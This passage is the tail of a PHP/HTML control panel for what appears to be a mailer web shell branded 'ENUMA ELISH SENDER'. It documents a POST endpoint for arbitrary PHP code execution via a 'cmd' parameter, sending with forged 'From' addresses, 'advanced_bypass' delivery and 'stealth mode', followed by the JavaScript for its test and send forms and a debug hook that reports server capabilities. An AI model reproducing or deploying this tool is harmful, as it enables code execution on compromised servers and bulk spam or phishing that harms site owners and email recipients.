Content-Type: application/x-www-form-urlencoded
leafmailer_action=send_mail&recipient=recipient@example.com&title=Subject&content=Message&from=sender@example.com</pre>
</div>
<div class="code-block">
<h5>4. PHP Code Execution</h5>
<pre>POST <?php echo $_SERVER['REQUEST_URI']; ?>
Content-Type: application/x-www-form-urlencoded
cmd=mail("recipient@example.com", "Subject", "Message", "From: sender@example.com");</pre>
</div>
<div class="code-block">
<h5>5. System Test</h5>
<pre>POST <?php echo $_SERVER['REQUEST_URI']; ?>
Content-Type: application/json
{
"action": "test",
"email": "test@example.com"
}</pre>
</div>
<h4>๐ค Response Format:</h4>
<div class="code-block">
<pre>{
"status": "success|error",
"message": "Descriptive message",
"timestamp": "2025-01-XX XX:XX:XX",
"server": "your-domain.com",
"data": {
"method": "native_mail|smtp|advanced_bypass",
"attempt": 1,
"to": "recipient@example.com"
},
"enuma_sent_success": true,
"delivery_status": "sent"
}</pre>
</div>
<h4>๐ง ENUMA ELISH SENDER Compatibility:</h4>
<ul style="color: #00ffff;">
<li>โ
Automatic detection and classification</li>
<li>โ
Multiple request format support</li>
<li>โ
Enhanced response markers for success detection</li>
<li>โ
Fallback delivery methods for high success rates</li>
<li>โ
Stealth mode operation</li>
<li>โ
Comprehensive error handling</li>
<li>โ
Real-time logging and debugging</li>
</ul>
</div>
</div>
<div id="result"></div>
</div>
<script>
// Tab switching functionality
function showTab(tabName) {
// Hide all tab contents
const tabContents = document.querySelectorAll('.tab-content');
tabContents.forEach(content => content.classList.remove('active'));
// Remove active class from all tabs
const tabs = document.querySelectorAll('.tab');
tabs.forEach(tab => tab.classList.remove('active'));
// Show selected tab content
document.getElementById(tabName).classList.add('active');
// Add active class to clicked tab
event.target.classList.add('active');
}
// Test form handler
document.getElementById('testForm').addEventListener('submit', async function(e) {
e.preventDefault();
const formData = new FormData(this);
const data = {
action: 'test',
email: formData.get('test_email')
};
showResult('๐ Running system test...', 'info');
try {
const response = await fetch('', {
method: 'POST',
headers: {
'Content-Type': 'application/json',
},
body: JSON.stringify(data)
});
const result = await response.json();
if (result.status === 'success') {
showResult(`โ
System test successful!<br>
๐ง Test email sent to: ${data.email}<br>
๐ง Method used: ${result.data.method}<br>
โฑ๏ธ Timestamp: ${result.timestamp}<br>
๐ฏ ENUMA ELISH SENDER compatibility: <span style="color: #00ff41;">VERIFIED</span>`, 'success');
} else {
showResult(`โ System test failed: ${result.message}<br>
๐ง Target: ${data.email}<br>
โฑ๏ธ Timestamp: ${result.timestamp}`, 'error');
}
} catch (error) {
showResult(`โ Network error: ${error.message}`, 'error');
}
});
// Send form handler
document.getElementById('sendForm').addEventListener('submit', async function(e) {
e.preventDefault();
const formData = new FormData(this);
const data = {
action: 'send',
to: formData.get('to'),
subject: formData.get('subject'),
body: formData.get('body'),
from_email: formData.get('from_email'),
from_name: formData.get('from_name')
};
showResult('๐ค Sending email...', 'info');
try {
const response = await fetch('', {
method: 'POST',
headers: {
'Content-Type': 'application/json',
},
body: JSON.stringify(data)
});
const result = await response.json();
if (result.status === 'success') {
showResult(`โ
Email sent successfully!<br>
๐ง Recipient: ${data.to}<br>
๐ Subject: ${data.subject}<br>
๐ง Method: ${result.data.method}<br>
โฑ๏ธ Timestamp: ${result.timestamp}`, 'success');
} else {
showResult(`โ Failed to send email: ${result.message}<br>
๐ง Target: ${data.to}<br>
โฑ๏ธ Timestamp: ${result.timestamp}`, 'error');
}
} catch (error) {
showResult(`โ Network error: ${error.message}`, 'error');
}
});
// Result display function
function showResult(message, type) {
const resultDiv = document.getElementById('result');
resultDiv.innerHTML = `<div class="result ${type}">${message}</div>`;
resultDiv.scrollIntoView({ behavior: 'smooth' });
// Auto-hide after 10 seconds for success messages
if (type === 'success') {
setTimeout(() => {
resultDiv.innerHTML = '';
}, 10000);
}
}
// Auto-refresh capabilities every 30 seconds
setInterval(async function() {
if (document.getElementById('capabilities').classList.contains('active')) {
try {
const response = await fetch('?action=info');
const result = await response.json();
// Update capabilities if needed
} catch (error) {
// Silently fail
}
}
}, 30000);
// Add some visual effects
document.addEventListener('DOMContentLoaded', function() {
// Add typing effect to title
const title = document.querySelector('.glow');
if (title) {
const originalText = title.textContent;
title.textContent = '';
let i = 0;
const typeWriter = setInterval(function() {
if (i < originalText.length) {
title.textContent += originalText.charAt(i);
i++;
} else {
clearInterval(typeWriter);
}
}, 100);
}
// Auto-test on page load (optional)
const urlParams = new URLSearchParams(window.location.search);
if (urlParams.get('autotest') === 'true') {
setTimeout(() => {
const testEmail = urlParams.get('email') || 'test@example.com';
document.getElementById('test_email').value = testEmail;
document.getElementById('testForm').dispatchEvent(new Event('submit'));
}, 2000);
}
});
// Keyboard shortcuts
document.addEventListener('keydown', function(e) {
if (e.ctrlKey && e.key === 't') {
e.preventDefault();
showTab('test');
} else if (e.ctrlKey && e.key === 's') {
e.preventDefault();
showTab('send');
} else if (e.ctrlKey && e.key === 'i') {
e.preventDefault();
showTab('integration');
}
});
</script>
</body>
</html>
<?php
// Additional cleanup and security measures
if (function_exists('fastcgi_finish_request')) {
fastcgi_finish_request();
}
// Clear any output buffers
while (ob_get_level()) {
ob_end_clean();
}
// Final security check - ensure no sensitive information is exposed
if (isset($_GET['debug']) && $_GET['debug'] === 'info') {
header('Content-Type: application/json');
echo json_encode(array(
'server_info' => get_server_capabilities(),
'integration_status' => 'ready',
'enuma_elish_compatible' => true,
'version' => '2.0',
'last_updated' => date('Y-m-d H:i:s')
));
exit;
}
?>